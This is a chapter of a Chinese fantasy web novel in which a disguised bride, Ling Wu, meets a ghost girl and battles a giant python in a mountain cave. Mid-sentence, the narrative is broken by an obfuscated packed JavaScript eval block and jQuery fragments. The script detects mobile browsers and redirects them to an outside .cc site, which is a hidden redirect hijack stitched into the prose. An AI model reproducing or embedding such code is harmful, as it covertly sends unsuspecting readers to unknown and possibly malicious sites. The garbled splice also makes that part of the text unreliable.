闻昱坐在客房里,只觉得外面隐隐约约有唢呐的奏乐声。正欲起身去窗边查看,忽然听到隔壁传来“吱呀”的开门声,心下一紧,连忙打开房门。
刚踏出房门便看见一个穿着嫁衣蒙着盖头的人不发一言的立在门口,闻昱突然有些心慌,他试探着轻声喊了一句:“凌姑娘?”
“是我。”凌芜一把拉下盖头,没好气的说:“这玩意儿盖着真憋闷。”
闻昱看她一脸烦躁,心中暗暗松了口气,笑了笑说:“辛苦凌姑娘忍耐一下了。”他从凌芜手里拿过那个盖头,轻轻的盖在她的发冠上。
闻昱柔声说:“你...小心一些。”
盖头下的凌芜随意的“嗯”了声,转身就准备下楼。不料刚走出一步却又突然转过身朝闻昱的方向伸着胳膊一番摸索。
闻昱不明所以,只得默默的站过去,凌芜顺着他的胳膊成功找到了他的手。闻昱看到凌芜伸出指尖在他的掌心画了一朵...火苗?
“这是?”
“这是心焰,是我灵力所化,用这个可以联系到我。”凌芜清冷的声音掩在盖头底下有些模糊。
可能是好半天也没接到新娘,楼下的唢呐声愈发起劲儿了,闻昱看到大堂里趴在桌上的杜掌柜却仍是一动不动。盖头底下的凌芜听着外面闹腾的动静翻了个白眼说:“催的倒是急,我走了。”
闻昱就站在三楼客房门口看着那个绯红的背影踏出客栈,下意识的攥紧了手心。
很快,奏乐声便远去了,闻昱从客房半掩的窗扇看到那支奇怪的队伍抬着喜轿飞快的过了云鹊桥,往城外去了。
虽说这迎亲队伍里的轿夫都是瘦长个儿,但喜轿倒是抬得稳稳当当。外面传来有雨滴敲打枝叶的“哒哒”声,看来是已经进山了。
轿子里凌芜正靠着轿厢双手抱臂,懒散的闭目养神。耳边蓦地飘来女子的哭声,那声音呜呜咽咽,时而近时而远,空灵且诡异。但是这轿子却半分未受影响,仿佛除了轿子里的凌芜,竟无人听到那哭声一般。
“嘤嘤嘤......”这次的哭声格外近,就像是在这顶轿子里一样。凌芜懒懒的睁开眼,正巧与凑到盖头前的一张脸四目相对。
那是一张年轻女子的脸,脸上的妆容都被泪水晕花了,但依稀能看出是个娇俏的姑娘。只是现在这姑娘瞪着大眼盯着凌芜一直哭,眼睛里慢慢的竟淌出血泪来。
这画面多少就有些瘆人了,凌芜不动声色的避开她的视线,果断闭上了眼睛。
“嘤......你看见我了—”
“我知道你看见了......”
“嘤嘤嘤......”
花脸姑娘大约是第一次碰到能看见她的人,简直宛若人来疯,围着凌芜不停地边哭边念叨。
凌芜被吵的不行,长叹一声,睁开眼从牙缝里挤出一句:“是啊,我看见了,别叨叨了。”
花脸姑娘:“......”
花脸姑娘一下子定在凌芜面前,不敢说话了。
凌芜抬眸隔着盖头看着她,语气淡淡的说:“这里除了你,还有其他...人么?”
这姑娘是个地缚灵,也不记得自己已经死了,一直徘徊在玉溪山里。凌芜看她没有穿红嫁衣,便知晓她并不是江州之前雨夜莫名失踪的姑娘。
“有的,还有好几个姑娘,和你一样穿着红嫁衣,但是她们好像看不见我也不和我说话,你不一样......”花脸姑娘的声音带着一丝不合时宜的乖巧。
凌芜默默地看了一眼她糊着血泪的脸,暗道幸好别人看不见,不然可就要当场去和你作伴了。
凌芜:“除了那些穿嫁衣的姑娘,还有其他人么?”
“唔—前面不远处那片竹林,有一群衙门的人每日在里面打转,也不知是要找什么......你看,就是这里,他们在那儿—”花脸姑娘透过掀起一角的轿帘指着右前方的一片竹林。
凌芜顺着她指的方向看到了那片密竹林,果然有好几个穿着官衙制服的人在里面兜圈子。
茶肆里那个中年人说的没错,江州府衙派了人去追踪迎亲队伍却神秘失踪。那些官差大概全都把命落在那片竹林里了。
“你知道和我一样穿红嫁衣的那些姑娘在哪儿?”凌芜低声道。
花脸姑娘低头想了一会儿,又慢慢抬起头。她满脸害怕的说:“在一个大山洞里,很黑很潮湿的洞,里面有......”
“有什么?”
花脸姑娘张了张嘴,但刚说了个“有”字便又把嘴抿紧了,半晌她摇了摇头说:“我不知道。”
凌芜蹙眉。
这样看来洞里的那个东西与这姑娘的死因有关,凌芜在她身上没看到什么伤口,难不成是内伤?总不能是被吓死的吧?洞里究竟是什么东西?
“我...我能跟着你么?”花脸姑娘凑到凌芜身边,小心翼翼的问。
“为什么?”凌芜语调平淡的问。
花脸姑娘闷闷的说:“我有些害怕,我想回家,出门前阿爹说要给我做暖锅吃......”
凌芜:“......”
正常来讲,该说害怕的是我这个轿子里的普通人。还有暖锅又是什么,能好吃到让你一直念着。
“可我一会儿要先去那个洞里,你也想去么?”
花脸姑娘一脸纠结:“一定要去么?”
凌芜点了点头没说话。
“那......那好吧。”花脸姑娘垂头丧气的说。
话音方落,轿身猛地一沉,重重的落在地上,就像是抬轿子的人突然脱力一般。
凌芜挑起轿帘往外看了一眼,那些轿夫和乐队已经凭空消失了。轿子前方正对着一个山洞,黑黝黝的洞口宛若妖兽张大的嘴。
“你不下去么?”花脸姑娘看着一动不动的凌芜问。
“?之前那些姑娘都是自己下去的?连个引路的都没有?”凌芜瘫着脸说。
“嗯...她们都是自己一步步走进去的,然后...就再也没出来。”花脸姑娘皱着脸悄声说。
啊,也行吧。
凌芜起身掸了掸衣袖,掀了帘下了轿子,径直往山洞里走。
那花脸姑娘小步跟在后面,越走越慢,最后停下步子站在洞口旁小声冲凌芜说:“我...我不想进去,就在这里守着吧。你可一定要出来,我等你带我回家。”
凌芜脚下一顿,轻声应道“好。”
这山洞的过道又黑又深。凌芜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320552|167462||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走在其中,很长时间都只有她自己带着回音的脚步声,和时不时水滴击打石壁的“滴答”声。
凌芜走了好一会儿,眼前的视野才算变得开阔,她停下脚步,发现洞顶远远地悬着两盏灯,但却是泛着红光。
突然有风袭来,将盖头上的流苏吹的飘来荡去。只是凌芜却嗅到了一股浓烈的腥气,还伴随着“咝咝—”的声音。
她猛的扯下盖头,抬眸看着洞顶的那两盏“灯”。果然,那根本就不是什么灯,而是两只眼睛——蛇的眼睛。刚刚的那阵风,正是它朝凌芜靠近吐信子激起的。
凌芜终于看清了洞中的景象——那是一条通体墨色的巨蟒,蟒身盘踞在洞窟中央,鳞片隐隐泛着冷光。头上那双眼睛是血红色的,瞳孔竖直,散发着嗜血的杀意。
原来这洞里藏着的竟是魇蟒。
“你是何人,竟没有中魇术?”巨蟒盘着身体,昂首盯着凌芜说。
凌芜冷笑:“呵,让你失望了。你既然能口吐人言,必是修行时日不短。又或者不如说是——为祸已久?”
巨蟒居高临下的看着地上的凌芜::“是又如何?”
凌芜寒声说:“不如何,自然是要让你为无辜之人偿命。”
“就凭你,不过就是来送死,且让我先吞了你。”
话音未落,一阵腥风扑面而来,凌芜左手在身前祭出一道光障,垂在身侧的右手凌空轻轻一抓,手中便出现了一根通体赤色的长鞭,鞭身隐隐夹杂着金色的火焰。
凌芜迅速旋身,反手便将长鞭劈向冲过来的蟒首,鞭身上的金色火焰瞬间蹿起,赤色的长鞭狠狠地抽在巨蟒的一只眼睛上。
巨蟒吃痛怒吼,墨色的蟒身在山洞内扭动翻滚,将岩壁撞落不少碎石。它被这一鞭子激怒,很快便腾起蛇尾卷向凌芜,竟是妄图用粗长的蟒身困住她。
凌芜眉梢一动,手中长鞭直直的迎向袭来的长尾,鞭身灵巧的卷住它打了个结。只见凌芜纵身几个起落翻转,赤色的长鞭便将这巨蟒扭身捆了个结实,鞭身上的金色火焰更是将巨蟒的鳞片烤出阵阵黑烟。
凌芜轻巧的落在巨蟒伏在地面的脑袋前,拍了拍手淡声道:“就凭你还妄想吃我......”
“这是流火藤,难道你是...不可能,你究竟是谁?”巨蟒睁着那只没受伤的眼睛,竖瞳里满是怨毒的光。
“我是谁与你这秽物无关,被你坑来的那些姑娘呢?”
“哼,当然是早就被我吞了,连魂魄也不曾留下,你救不了她们。”巨蟒恶毒的笑着说。
凌芜皱眉,心道不对,若花脸姑娘也被这长虫吞了,那怎么会成为地缚灵呢?但若花脸姑娘不是这巨蟒所害,难道这东西尚有同谋?
“哦,既然如此,我现在便将你一把火祭了,也算为她们报了仇,了了此间因果。”凌芜瞥了它一眼,声音散漫的说着,只轻抬右手,掌心里瞬间腾起一团赤色的、形似莲花的火焰。
“业火,这是红莲业火......”巨蟒瞳孔骤缩,声音有些紧张。
世有红莲火,焚尽一切罪孽。
这女子说要祭了它,竟是要让它连从头再来的机会也没有。
“等等,就算你杀了我也算不得了结这桩因果。”